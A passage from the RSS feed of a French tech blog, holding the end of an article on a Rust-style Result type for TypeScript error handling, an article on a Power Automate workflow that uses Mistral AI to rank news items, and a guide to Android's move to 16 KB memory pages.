<span class="hljs-keyword">export</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">Err</span>&lt;<span class="hljs-title">E</span> <span class="hljs-title">extends</span> <span class="hljs-title">Error</span>&gt;(<span class="hljs-params">e: E | <span class="hljs-built_in">string</span></span>): <span class="hljs-title">Result</span>&lt;<span class="hljs-title">never</span>, <span class="hljs-title">E</span>&gt; </span>{
    <span class="hljs-keyword">return</span> { ok: <span class="hljs-literal">false</span>, error: e <span class="hljs-keyword">instanceof</span> <span class="hljs-built_in">Error</span> ? e : <span class="hljs-keyword">new</span> <span class="hljs-built_in">Error</span>(e) };
}
</code></pre>
<p>Grâce à la valeur par défaut <code>T = void</code> et au forçage du type T sur <code>value</code>, <code>Ok()</code> peut être appelé sans argument pour représenter un succès sans valeur, et <code>Err()</code> accepte un argument de type <code>Error</code> ou <code>string</code>, ce qui simplifie grandement leur utilisation comme illustré dans l’exemple ci-dessous:</p>
<pre><code class="lang-typescript"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">simpleVoidFct</span>(<span class="hljs-params">success: <span class="hljs-built_in">boolean</span></span>): <span class="hljs-title">Result</span> </span>{
   <span class="hljs-keyword">if</span> (success) {
      <span class="hljs-keyword">return</span> Ok(); <span class="hljs-comment">// no payload needed, Ok&lt;void&gt; is inferred</span>
   }
   <span class="hljs-keyword">return</span> Err(<span class="hljs-string">"Something went wrong"</span>); <span class="hljs-comment">// Error instance is created from the string</span>
}
</code></pre>
<p>Maintenant il est facile de décrire le type d’un retour de fonction:</p>
<pre><code class="lang-typescript"><span class="hljs-comment">// here divide contract is: return a number or an error of type Error</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">divide</span>(<span class="hljs-params">a: <span class="hljs-built_in">number</span>, b: <span class="hljs-built_in">number</span></span>): <span class="hljs-title">Result</span>&lt;<span class="hljs-title">number</span>&gt; </span>{
    <span class="hljs-keyword">if</span> (b === <span class="hljs-number">0</span>) {
        <span class="hljs-keyword">return</span> Err(<span class="hljs-string">"Division by zero"</span>);
    }
    <span class="hljs-keyword">return</span> Ok(a / b);
}

<span class="hljs-keyword">const</span> result = divide(<span class="hljs-number">10</span>, <span class="hljs-number">0</span>);

<span class="hljs-comment">// testing the result becomes easy and straightforward</span>
<span class="hljs-keyword">if</span> (!result.ok) {
  <span class="hljs-built_in">console</span>.error(<span class="hljs-string">"Error:"</span>, result.error.message);
} <span class="hljs-keyword">else</span> {
  <span class="hljs-built_in">console</span>.log(<span class="hljs-string">"Result:"</span>, result.value);
}
</code></pre>
<p>TypeScript imposera une vérification stricte : si vous écrivez <code>Ok()</code> dans une fonction qui doit renvoyer une valeur (<code>Result&lt;number&gt;</code>), le compilateur se plaindra — ce qui est une bonne chose.</p>
<h3 id="heading-utiliser-une-classe-derreur-personnalisee">Utiliser une classe d’erreur personnalisée</h3>
<p>Le pattern supporte l’utilisation de classes d’erreur personnalisées. Dans l’exemple ci-dessous nous créons une classe <code>DivisionError</code> pour l’utiliser dans <code>divide</code>:</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">class</span> DivisionError <span class="hljs-keyword">extends</span> <span class="hljs-built_in">Error</span> { 
    <span class="hljs-keyword">constructor</span>(<span class="hljs-params">message: <span class="hljs-built_in">string</span></span>) { 
    <span class="hljs-built_in">super</span>(message); 
    <span class="hljs-built_in">this</span>.name = <span class="hljs-string">"DivisionError"</span>; 
    } 
}
</code></pre>
<p>La fonction <code>divide</code> devient donc maintenant:</p>
<pre><code class="lang-typescript"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">divide</span>(<span class="hljs-params">a: <span class="hljs-built_in">number</span>, b: <span class="hljs-built_in">number</span></span>): <span class="hljs-title">Result</span>&lt;<span class="hljs-title">number</span>, <span class="hljs-title">DivisionError</span>&gt; </span>{
   <span class="hljs-keyword">if</span> (b === <span class="hljs-number">0</span>) { 
      <span class="hljs-keyword">return</span> Err(<span class="hljs-keyword">new</span> DivisionError(<span class="hljs-string">"Division by zero"</span>));
   } 
   <span class="hljs-keyword">return</span> Ok(a / b); 
}
</code></pre>
<p>le type <code>Result&lt;number, DivisionError&gt;</code> décrit clairement le contrat. On sait exactement quel genre d’erreur peut sortir et l’exploiter dans le code client:</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">const</span> result = divide(<span class="hljs-number">10</span>, <span class="hljs-number">0</span>);

<span class="hljs-keyword">if</span> (!result.ok) {
  <span class="hljs-built_in">console</span>.error(<span class="hljs-string">"Error:"</span>, result.error.message);
  <span class="hljs-keyword">if</span> (result.error <span class="hljs-keyword">instanceof</span> DivisionError) {
     <span class="hljs-built_in">console</span>.error(<span class="hljs-string">"Error name:"</span>, result.error.name);
  }
} <span class="hljs-keyword">else</span> {
  <span class="hljs-built_in">console</span>.log(<span class="hljs-string">"Result:"</span>, result.value);
}
</code></pre>
<h3 id="heading-promises-et-flux-asynchrones">Promises et flux asynchrones</h3>
<p>La gestion d’erreurs sur les opérations d’I/O est un cas typique où les promesses peuvent échouer de multiples façons : fichier manquant, permissions insuffisantes, corruption de données, etc.</p>
<p>Avec Node.js, la méthode <code>fs.readFile</code> par example, est asynchrone et rejette sa promesse en cas d’erreur. Mais en combinant <code>await</code> avec un <code>try/catch</code>, et en retournant notre type <code>Result</code>, on rend la gestion d’erreur explicite tout en gardant un flux asynchrone propre :</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">import</span> { promises <span class="hljs-keyword">as</span> fs } <span class="hljs-keyword">from</span> <span class="hljs-string">"fs"</span>;

<span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">readFileContent</span>(<span class="hljs-params">path: <span class="hljs-built_in">string</span></span>): <span class="hljs-title">Promise</span>&lt;<span class="hljs-title">Result</span>&lt;<span class="hljs-title">string</span>&gt;&gt; </span>{
  <span class="hljs-keyword">try</span> {
    <span class="hljs-keyword">const</span> data = <span class="hljs-keyword">await</span> fs.readFile(path, <span class="hljs-string">"utf-8"</span>);
    <span class="hljs-keyword">return</span> Ok(data);
  } <span class="hljs-keyword">catch</span> (e: <span class="hljs-built_in">any</span>) {
    <span class="hljs-keyword">return</span> Err(e);
  }
}

<span class="hljs-keyword">const</span> result = <span class="hljs-keyword">await</span> readFileContent(<span class="hljs-string">"./data.txt"</span>);

<span class="hljs-keyword">if</span> (!result.ok) {
  <span class="hljs-built_in">console</span>.error(<span class="hljs-string">"Failed to read file:"</span>, result.error.message);
} <span class="hljs-keyword">else</span> {
  <span class="hljs-built_in">console</span>.log(<span class="hljs-string">"File content:"</span>, result.value);
}
</code></pre>
<p>Le point clé ici, c’est que la fonction a pour type de retour <code>Promise&lt;Result&lt;string, Error&gt;&gt;</code> (dans l’exemple ci-dessus le type <code>Error</code> n’est pas mentionné dans le type de retour car inféré par le compilateur).</p>
<p>Le mot-clé <code>await</code> résout la promesse renvoyée par <code>fs.readFile</code>, et la fonction <code>readFileContent</code> étant elle-même déclarée <code>async</code>, elle renvoie toujours une promesse. À l’intérieur de cette promesse, on encapsule soit le contenu du fichier, soit l’erreur interceptée, dans un <code>Result</code>.</p>
<p>De cette manière, les échecs asynchrones sont gérés aussi proprement que les erreurs synchrones.<br />Le code appelant n’a plus besoin d’un <code>try/catch</code> autour de chaque appel : il se contente de tester le <code>Result</code>, maintenant ainsi une interface de gestion d’erreur cohérente entre fonctions synchrones et asynchrones.</p>
<h2 id="heading-conclusion-de-la-partie-1"><strong>Conclusion de la partie 1</strong></h2>
<p>Le modèle d’exceptions de JavaScript est simple mais peut cacher les erreurs. Go rend les erreurs explicites avec une interface uniforme de retour, au prix d’une certaine verbosité. Rust impose la gestion des erreurs au niveau du système de types, créant des programmes extrêmement sûrs et prévisibles.</p>
<p>Avec TypeScript, nous n’avons pas les garanties du compilateur Rust, mais nous pouvons adopter le même modèle que Rust grâce aux unions discriminées. Le résultat est un code plus sûr, plus prévisible et plus facile à tester.</p>
<h2 id="heading-a-suivre">A suivre …</h2>
<p>Maintenant que nous avons vu les bases du modèle <code>Result</code> et ses principaux exemples, la deuxième partie montrera son intérêt dans des cas d’usage plus complexes — en enchaînant plusieurs opérations, en gérant des erreurs personnalisées et en simplifiant l’écriture ainsi que la maintenance des tests unitaires.</p>
]]></content:encoded></item><item><title><![CDATA[2/2 De l’automatisation à l’intelligence : générer des insights avec Power Automate et l’IA]]></title><description><![CDATA[Introduction – De la collecte à la génération d’insights
Dans le premier article, nous avons vu comment automatiser la collecte et la synthèse d’informations. Ici, nous passons à l’étape suivante : transformer ces données en insights exploitables. Al...]]></description><link>https://niji.tech/veille-tech-augmentee-2</link><guid isPermaLink="true">https://niji.tech/veille-tech-augmentee-2</guid><category><![CDATA[Automatisation intelligente]]></category><category><![CDATA[Veille stratégique]]></category><category><![CDATA[Workflow automatisé]]></category><category><![CDATA[Analyse de données]]></category><category><![CDATA[Prise de décision]]></category><category><![CDATA[Productivité augmentée]]></category><category><![CDATA[power-automate]]></category><category><![CDATA[Intelligence Artificielle]]></category><category><![CDATA[insights]]></category><category><![CDATA[Microsoft 365]]></category><dc:creator><![CDATA[Guillaume THOMAZON]]></dc:creator><pubDate>Thu, 23 Oct 2025 06:57:31 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1758035989579/a7693af8-684b-4412-af2a-309c0a43befe.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-introduction-de-la-collecte-a-la-generation-dinsights">Introduction – De la collecte à la génération d’insights</h2>
<p>Dans le <a target="_blank" href="https://niji.tech/veille-tech-augmentee-1">premier article</a>, nous avons vu comment automatiser la collecte et la synthèse d’informations. Ici, nous passons à l’étape suivante : transformer ces données en insights exploitables. Alors, pourquoi ne pas aller plus loin ?</p>
<p>L’objectif n’est plus seulement de <strong>réduire le volume d’informations à traiter</strong>, mais de <strong>transformer ces données en insights directement exploitables</strong>. Imaginez recevoir, chaque matin, les cinq sujets les plus pertinents, analysés et triés selon vos critères, directement dans votre boîte mail.</p>
<p>C’est ce que nous allons explorer ici : <strong>l’automatisation intelligente</strong>, où Power Automate et l’IA travaillent de concert pour filtrer, analyser et diffuser l’information stratégique.</p>
<hr />
<h2 id="heading-automatiser-pour-gagner-du-temps-rappel-rapide">Automatiser pour gagner du temps – rappel rapide</h2>
<p>Même si vous avez déjà un workflow de veille, parcourir toutes les données peut rester chronophage.<br />La première étape, automatiser la collecte et la synthèse, permet déjà de <strong>libérer du temps et de réduire les erreurs</strong>.</p>
<p>Dans le premier article, nous avons vu comment Power Automate pouvait :</p>
<ul>
<li><p>Récupérer automatiquement des articles depuis différentes sources</p>
</li>
<li><p>Filtrer et synthétiser les contenus via un modèle IA</p>
</li>
<li><p>Stocker les résultats de manière structurée dans Excel</p>
</li>
</ul>
<p>Cette étape a posé la <strong>fondation pour aller plus loin</strong>, en ajoutant une sélection intelligente et une diffusion automatisée.</p>
<hr />
<h2 id="heading-coupler-ia-et-power-automate-vers-des-insights-pertinents">Coupler IA et Power Automate – vers des insights pertinents</h2>
<p>Le nouveau workflow ajoute plusieurs couches d’intelligence :</p>
<ol>
<li><p><strong>Lecture du fichier Excel</strong> : récupération de toutes les données issues des phases précédentes.</p>
</li>
<li><p><strong>Boucle sur chaque sujet</strong> : analyse ligne par ligne pour ne rien manquer.</p>
</li>
<li><p><strong>Appel à l’IA via HTTP</strong> : évaluation selon vos critères (actualité, originalité, clarté, valeur ajoutée).</p>
</li>
<li><p><strong>Formatage et normalisation</strong> : transformation des réponses brutes en scores exploitables.</p>
</li>
<li><p><strong>Sélection des 5 meilleurs sujets</strong> : tri automatique des contenus les plus pertinents.</p>
</li>
<li><p><strong>Envoi d’un email synthétique</strong> : diffusion automatique aux destinataires ciblés.</p>
</li>
</ol>
<p><strong>Comment ça se traduit concrètement ?</strong></p>
<ul>
<li><p>On définit une <strong>récurrence</strong>, comme un réveil qui déclenche le workflow automatiquement.</p>
</li>
<li><p>Le flow récupère les données depuis Excel et exécute un <strong>script de filtrage</strong> (ex. ne garder que les lignes du jour).</p>
</li>
<li><p>On initialise des variables pour manipuler les données ligne par ligne.</p>
</li>
<li><p>On envoie chaque contenu à l’IA avec un prompt préalablement travaillé, puis on récupère et formate la réponse.</p>
</li>
<li><p>Enfin, l’email automatique est généré et envoyé aux bonnes personnes, transformant un flux massif d’informations en <strong>veille opérationnelle et actionnable</strong>.</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756133371387/df7fca34-676e-4cc8-acad-fa7aa19803e5.png" alt class="image--center mx-auto" /></p>
<ol>
<li><p>Tout d’abord on définit une récurrence. Cette étape sert à définir la fréquence à laquelle votre workflow doit s'exécuter automatiquement.</p>
</li>
<li><p>Cette étape interroge un tableau Excel pour récupérer toutes les lignes présentes. Cela permet d’acquérir un ensemble de données à traiter dans les étapes suivantes.</p>
</li>
<li><p>Cette étape exécute un script pré écrit pour traiter, analyser ou transformer les données listées à partir du tableau, ici en l’occurrence on veut faire un tri par date pour n’obtenir que les lignes du jour.</p>
</li>
<li><p>Puis on initialise différentes variables, ici en l’occurrence 2, de type chaîne.</p>
</li>
</ol>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756133622934/a566e7bc-cf46-4ffc-ae75-dbf9d5c99dce.png" alt class="image--center mx-auto" /></p>
<ol>
<li><p>On définit une boucle pour itérer sur une collection d'éléments. Si vous avez une liste de données (par exemple, des éléments d'un tableau), cette étape vous permet d'effectuer des actions pour chaque élément de cette liste. Ici on va itérer sur la liste de lignes retournées précédemment.</p>
</li>
<li><p>Pour chaque ligne retournée, on va les stocker dans une variable et les concaténer dans une autre variable.</p>
</li>
</ol>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756133886518/e81e9c0a-1d89-459f-a175-423062fc1366.png" alt class="image--center mx-auto" /></p>
<ol>
<li><p>On fait ensuite un appel HTTP à Mistral AI (ici, j’ai utilisé Mistral AI comme exemple, mais le principe fonctionnerait avec n’importe quel modèle IA) en lui passant le contenu de la variable précédente en complément d’un prompt préalablement travaillé.</p>
</li>
<li><p>On récupère la réponse de Mistral et on l’enregistre dans la variable rep mistral.</p>
</li>
<li><p>On formate dans dans une autre variable pour remplacer certains caractères, on le fait 2 fois (caractères différents).</p>
</li>
<li><p>Pour finir on envoie un e-mail contenant les données traitées sous forme de rapport. C’est souvent la sortie finale du flux considérant qu’elle informe les parties prenantes ou stocke les résultats.</p>
</li>
</ol>
<p>Ce workflow illustre l’étape finale : l’IA ne se contente pas de filtrer et résumer les articles, elle permet de sélectionner automatiquement les sujets les plus pertinents et de les diffuser directement aux bonnes personnes, transformant ainsi un flux massif d’informations en une <strong>veille opérationnelle et actionnable</strong>.</p>
<p>La construction de ce workflow m’a pris environ <strong>une demi-journée</strong>, mais avec l’expérience, il est possible de le reproduire en <strong>une heure</strong>. La partie la plus chronophage reste la mise au point du prompt IA pour obtenir des synthèses précises.</p>
<hr />
<h2 id="heading-cas-dusage-concrets">Cas d’usage concrets</h2>
<p>L’automatisation intelligente n’est pas limitée à la veille :</p>
<ul>
<li><p><strong>Suivi marché</strong> : identifier les tendances importantes et les anomalies.</p>
</li>
<li><p><strong>Analyse client</strong> : détecter des signaux faibles dans les tickets ou retours clients.</p>
</li>
<li><p><strong>Opportunités stratégiques</strong> : prioriser les informations qui ont le plus de valeur pour l’organisation.</p>
</li>
</ul>
<p>Chaque cas montre comment l’IA agit comme un <strong>filtre intelligent</strong>, délivrant directement des insights exploitables.</p>
<hr />
<h2 id="heading-ce-que-cette-approche-change-vraiment">Ce que cette approche change vraiment</h2>
<ul>
<li><p><strong>Gain de temps</strong> : plus besoin de parcourir manuellement des dizaines d’articles.</p>
</li>
<li><p><strong>Sélection intelligente</strong> : l’IA filtre selon des critères définis et ajustables.</p>
</li>
<li><p><strong>Diffusion proactive</strong> : les informations clés arrivent directement aux bonnes personnes.</p>
</li>
<li><p><strong>Simplicité d’intégration</strong> : Power Automate et Excel suffisent, pas besoin de solutions coûteuses ou complexes.</p>
</li>
</ul>
<p>Mais attention : l’IA n’est pas infaillible. Il faut <strong>superviser les résultats</strong>, ajuster régulièrement les critères et considérer l’outil comme <strong>un assistant</strong>, pas un substitut à l’intelligence humaine.</p>
<hr />
<h2 id="heading-conclusion-lautomatisation-intelligente-comme-futur-de-la-prise-de-decision">Conclusion – L’automatisation intelligente comme futur de la prise de décision</h2>
<p>Ce workflow clôt notre série : il transforme une tâche manuelle et fastidieuse en une chaîne <strong>fluide, intelligente et proactive</strong>.</p>
<p>L’enjeu dépasse la simple automatisation : il s’agit de rendre la veille stratégique <strong>plus réactive, ciblée et utile</strong>, et de fournir des insights directement exploitables pour la décision.</p>
<p>Les perspectives sont nombreuses :</p>
<ul>
<li><p>Intégrer la diffusion dans Teams pour plus de collaboration</p>
</li>
<li><p>Exploiter Dataverse ou SQL pour plus de scalabilité</p>
</li>
<li><p>Ajouter des dashboards Power BI pour visualiser les tendances</p>
</li>
<li><p>Entraîner des modèles IA personnalisés selon vos critères métier</p>
</li>
<li><p>Et pourquoi pas, générer des podcasts audio pour consommer l’information en mobilité</p>
</li>
</ul>
<p>L’automatisation intelligente n’est plus un rêve : grâce à <strong>Power Automate et l’IA</strong>, elle devient un véritable levier stratégique.</p>
<p><strong>Et vous ? Êtes-vous prêt à franchir le pas ? Quelles tâches ou décisions dans votre organisation pourraient bénéficier de cette approche ?</strong></p>
]]></content:encoded></item><item><title><![CDATA[Migration vers les pages mémoire 16 KB sur Android : Guide complet pour les développeurs]]></title><description><![CDATA[Android introduit une évolution majeure dans la gestion de la mémoire avec l'adoption de pages de 16 KB, remplaçant l'historique standard de 4 KB. Cette migration, obligatoire à partir de novembre 2025 pour les applications ciblant Android 15+, appor...]]></description><link>https://niji.tech/migrate-to-16kb-memory-pages-on-android-16-how-to-guide</link><guid isPermaLink="true">https://niji.tech/migrate-to-16kb-memory-pages-on-android-16-how-to-guide</guid><category><![CDATA[Android]]></category><category><![CDATA[Android 16 Features]]></category><category><![CDATA[Mobile Development]]></category><category><![CDATA[Mobile apps]]></category><dc:creator><![CDATA[Mickaël Le Frapper]]></dc:creator><pubDate>Wed, 08 Oct 2025 15:19:18 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1759740170555/2f7dd50f-0acb-408d-835f-5df32e9ef31c.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Android introduit une évolution majeure dans la gestion de la mémoire avec l'adoption de pages de 16 KB, remplaçant l'historique standard de 4 KB. Cette migration, obligatoire à partir de novembre 2025 pour les applications ciblant Android 15+, apporte des gains de performance significatifs mais nécessite une adaptation de votre code.</p>
<h2 id="heading-comprendre-les-pages-memoire">Comprendre les pages mémoire</h2>
<h3 id="heading-le-fonctionnement-actuel">Le fonctionnement actuel</h3>
<p>Lorsque votre application lit ou écrit des variables, elle les stocke dans la mémoire volatile (RAM). Pour optimiser l'organisation et réduire le gaspillage d'espace, les données sont regroupées dans des blocs de taille fixe appelés <a target="_blank" href="https://fr.wikipedia.org/wiki/Mémoire_paginée_\(MS-DOS\)"><strong>pages mémoire</strong></a>. Historiquement, Android utilise des pages de 4 KB.</p>
<p>Votre application n'accède pas directement à la mémoire physique mais interagit avec une couche d'abstraction : la <strong>mémoire virtuelle</strong>. Cette approche isole les processus entre eux, tandis que le système traduit les adresses virtuelles en adresses physiques réelles.</p>
<h3 id="heading-levolution-vers-16-kb">L'évolution vers 16 KB</h3>
<p>Prenons un exemple concret : votre application doit accéder à un buffer de 15 KB.</p>
<p><strong>Avec des pages 4 KB :</strong></p>
<ul>
<li><p>4 pages nécessaires pour récupérer l'ensemble du buffer</p>
</li>
<li><p>4 opérations de traduction d'adresses par le système</p>
</li>
<li><p>Overhead système multiplié</p>
</li>
</ul>
<p><strong>Avec des pages 16 KB :</strong></p>
<ul>
<li><p>1 seule page suffit</p>
</li>
<li><p>1 seule opération de traduction</p>
</li>
<li><p>Réduction significative de l'overhead système</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759826865012/ba4a95e9-e34d-4331-91d7-f258a9bd6ce4.png" alt="Scénario : Accès à un buffer de 15KB" class="image--center mx-auto" /></p>
<blockquote>
<p>Scénario : Accès à un buffer de 15KB</p>
</blockquote>
<p>Le TLB <em>(Translation Lookaside Buffer)</em> est un cache matériel qui accélère la conversion des adresses mémoire virtuelles en adresses physiques réelles, évitant ainsi au processeur de consulter systématiquement la table des pages en RAM.</p>
<h2 id="heading-benefices-mesures">Bénéfices mesurés</h2>
<p>Les tests montrent des améliorations notables :</p>
<ul>
<li><p><strong>Réduction de 4,6% de la consommation énergétique</strong></p>
</li>
<li><p><strong>Jusqu'à 30% d'amélioration du temps de lancement des applications</strong></p>
</li>
<li><p><strong>Accès mémoire plus rapide</strong> grâce à la réduction des lookups d'adresses</p>
</li>
</ul>
<p>Le revers de la médaille : une consommation mémoire potentiellement plus élevée, car le système réserve une page complète de 16 KB même si l'application n'utilise qu'une fraction de cet espace.</p>
<h2 id="heading-guide-de-migration">Guide de migration</h2>
<h3 id="heading-applications-javakotlin-pures">Applications Java/Kotlin pures</h3>
<p><strong>Bonne nouvelle :</strong> Si votre application est entièrement développée en Java ou Kotlin, aucune action n'est requise. L'Android Runtime a été mis à jour pour gérer automatiquement la nouvelle taille de page.</p>
<h3 id="heading-applications-avec-dependances-natives">Applications avec dépendances natives</h3>
<p>Pour les applications utilisant du code natif, plusieurs étapes sont nécessaires :</p>
<h4 id="heading-1-mise-a-jour-des-outils-de-developpement">1. Mise à jour des outils de développement</h4>
<ul>
<li><p><strong>Upgrader vers AGP 8.5.1</strong> ou une version plus récente</p>
</li>
<li><p><strong>Utiliser NDK r28 ou supérieur</strong> pour recompiler le code natif</p>
</li>
<li><p><strong>Privilégier les librairies natives non compressées</strong> (les versions compressées restent compatibles)</p>
</li>
</ul>
<h4 id="heading-2-adaptation-du-code-natif">2. Adaptation du code natif</h4>
<ul>
<li><p><strong>Éliminer toutes les suppositions sur la taille des pages</strong> dans votre codebase</p>
</li>
<li><p><strong>Utiliser les APIs système</strong> pour déterminer dynamiquement la taille des pages</p>
</li>
<li><p><strong>Mettre à jour toutes les dépendances natives</strong> vers des versions compatibles</p>
</li>
</ul>
<h4 id="heading-3-gestion-des-dependances">3. Gestion des dépendances</h4>
<p>Contactez les développeurs de vos dépendances natives pour obtenir des versions mises à jour si nécessaire.</p>
<h2 id="heading-outils-de-verification">Outils de vérification</h2>
<h3 id="heading-android-studio">Android Studio</h3>
<p>La dernière version d'Android Studio intègre plusieurs outils d'analyse :</p>
<ul>
<li><p><strong>APK Analyzer</strong> : vérifie la compatibilité de chaque dépendance native</p>
</li>
<li><p><strong>Alertes automatiques</strong> pour les librairies ou APK non conformes</p>
</li>
<li><p><strong>Mise en évidence</strong> des librairies natives non alignées sur 16 KB</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759737986709/20493983-c4c9-4ba9-9ea9-8d2a61989c87.png" alt="Détection des problèmes de compatibilité avec l’APK Analyser" class="image--center mx-auto" /></p>
<blockquote>
<p>Détection des problèmes de compatibilité avec l’APK Analyser</p>
</blockquote>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759738612271/f277e476-e80c-4309-b183-711d18771bc0.png" alt="Détection des bibliothèques natives non conformes avec Lint" class="image--center mx-auto" /></p>
<blockquote>
<p>Détection des bibliothèques natives non conformes avec Lint</p>
</blockquote>
<h3 id="heading-google-play-console">Google Play Console</h3>
<p>L'<strong>App Bundle Explorer</strong> indique clairement quelles versions de votre application sont compatibles avec les pages 16 KB.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759823053312/c0d1dc3d-35aa-48a5-9955-a47028b0885f.png" alt="Alerte de compatibilité 16 KB dans la console du Play Store" class="image--center mx-auto" /></p>
<blockquote>
<p>Alerte de compatibilité 16 KB dans la console du Play Store</p>
</blockquote>
<h2 id="heading-tests-et-validation">Tests et validation</h2>
<h3 id="heading-environnements-de-test-recommandes">Environnements de test recommandés</h3>
<ul>
<li><p><strong>Émulateur 16 KB</strong> disponible dans Android Studio</p>
</li>
<li><p><strong>Option développeur</strong> sur les Pixel 8 et versions ultérieures</p>
</li>
<li><p><strong>Tests sur les deux environnements</strong> (4 KB et 16 KB) pour éviter les régressions</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759739209221/e61a1db5-ef96-49db-987e-76204f7d1d96.png" alt="Configuration d'un émulateur avec une image système Android 16 basée sur 16 Ko" class="image--center mx-auto" /></p>
<blockquote>
<p>Configuration d'un émulateur avec une image système Android 16 basée sur 16 KB</p>
</blockquote>
<h3 id="heading-strategie-de-test">Stratégie de test</h3>
<ol>
<li><p>Tester l'ensemble des fonctionnalités critiques</p>
</li>
<li><p>Vérifier les performances avant/après migration</p>
</li>
<li><p>Valider la stabilité sur différentes configurations mémoire</p>
</li>
<li><p>Contrôler la consommation mémoire de l'application</p>
</li>
</ol>
<h2 id="heading-echeances-importantes">Échéances importantes</h2>
<p><strong>1er novembre 2025 :</strong> Date limite pour la compatibilité obligatoire</p>
<p>À partir de cette date :</p>
<ul>
<li><p>Les applications ciblant Android 15+ devront être compatibles 16 KB</p>
</li>
<li><p>Les mises à jour non conformes seront suspendues</p>
</li>
<li><p>L’installation sera impossible sur les futurs appareils équipés d’un système Android compilé avec un kernel utilisant des pages mémoire de 16 KB au lieu de 4 KB.</p>
</li>
</ul>
<h3 id="heading-possibilite-dextension-de-delai">Possibilité d'extension de délai</h3>
<p>Google propose désormais une option de prolongation destinée aux équipes qui ont besoin de plus de temps pour recompiler leurs bibliothèques natives et mettre à jour leurs dépendances. Si votre application ne sera pas prête avant la date limite du 1er novembre 2025, vous pouvez demander un report jusqu’au 31 mai 2026.</p>
<p>Pour connaître l’état de conformité de votre application, rendez-vous dans la Play Console, section « Policy status ». Un avertissement y sera affiché si votre application n’est pas encore compatible avec les pages mémoire de 16 KB.</p>
<p><strong>À noter :</strong> aucune prolongation ne sera accordée au-delà du 31 mai 2026. À partir de cette date, toutes les mises à jour d’applications devront impérativement être compatibles avec ce format mémoire. Si votre application est déjà conforme, aucune action n’est nécessaire, mais il est conseillé de la tester dans un environnement 16 KB afin d’anticiper la prise en charge des futurs appareils.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759823865096/ce1383f3-8a04-4ff1-acd8-bbe95c926446.png" alt="Possibilité de demander une prolongation jusqu’au 31 mai 2026 directement depuis la section « Policy status » de la Play Console." class="image--center mx-auto" /></p>
<blockquote>
<p>Possibilité de demander une prolongation jusqu’au 31 mai 2026 directement depuis la section « Policy status » de la Play Console.</p>
</blockquote>
<p>Source : <a target="_blank" href="https://support.google.com/googleplay/android-developer/thread/368982598">https://support.google.com/googleplay/android-developer/thread/368982598</a></p>
<h2 id="heading-recommandations-strategiques">Recommandations stratégiques</h2>
<h3 id="heading-pour-les-equipes-de-developpement">Pour les équipes de développement</h3>
<ol>
<li><p><strong>Planifiez dès maintenant</strong> : ne pas attendre la dernière minute</p>
</li>
<li><p><strong>Auditez vos dépendances natives</strong> : identifiez les points de blocage potentiels</p>
</li>
<li><p><strong>Intégrez les tests 16 KB</strong> dans votre pipeline CI/CD</p>
</li>
<li><p><strong>Formez vos équipes</strong> aux spécificités de cette migration</p>
</li>
</ol>
<h2 id="heading-conclusion">Conclusion</h2>
<p>La migration vers les pages mémoire 16 KB représente une évolution naturelle d'Android vers de meilleures performances. Bien que cette transition soit transparente pour la majorité des applications, celles utilisant du code natif nécessitent une attention particulière.</p>
<p>L'anticipation est clé : commencez dès maintenant l'audit de vos applications, mettez à jour vos outils de développement et testez sur les environnements 16 KB. Cette approche proactive vous permettra de bénéficier des gains de performance tout en respectant les échéances imposées.</p>
<p>Les équipes qui investissent dès maintenant dans cette migration seront non seulement conformes aux exigences de Google Play, mais bénéficieront également d'applications plus performantes et plus économes en énergie pour leurs utilisateurs.</p>
<h2 id="heading-references">Références</h2>
<p><a target="_blank" href="https://developer.android.com/guide/practices/page-sizes"><em>Android Developers Docs — Support for 16 KB page sizes</em></a> Documentation officielle expliquant le changement, les échéances, les flags NDK, des exemples de code et les méthodes de test.</p>
<p><a target="_blank" href="https://source.android.com/docs/core/architecture/16kb-page-size/16kb"><em>Android Source Documentation — 16 KB page size in AOSP</em></a> Analyse technique détaillée des flags du kernel, de la configuration de build et de la justification architecturale.</p>
]]></content:encoded></item><item><title><![CDATA[1/2 Automatisation et IA : de la vision stratégique à la veille concrète]]></title><description><![CDATA[Introduction – Contexte et enjeux de l’automatisation
Imaginez une équipe qui doit chaque semaine copier-coller des données depuis différents rapports pour mettre à jour un tableau de suivi. Chaque erreur coûte du temps et parfois de l’argent, et la ...]]></description><link>https://niji.tech/veille-tech-augmentee-1</link><guid isPermaLink="true">https://niji.tech/veille-tech-augmentee-1</guid><category><![CDATA[Automatisation]]></category><category><![CDATA[Transformation digitale]]></category><category><![CDATA[Veille automatisée]]></category><category><![CDATA[Optimisation des processus]]></category><category><![CDATA[Stratégie d’entreprise]]></category><category><![CDATA[power-automate]]></category><category><![CDATA[Intelligence Artificielle]]></category><category><![CDATA[productivité]]></category><category><![CDATA[No Code]]></category><dc:creator><![CDATA[Guillaume THOMAZON]]></dc:creator><pubDate>Wed, 01 Oct 2025 15:46:35 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1758035921353/433c96f0-aba3-46f0-a51d-cc86df1f49ac.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-introduction-contexte-et-enjeux-de-lautomatisation"><strong>Introduction – 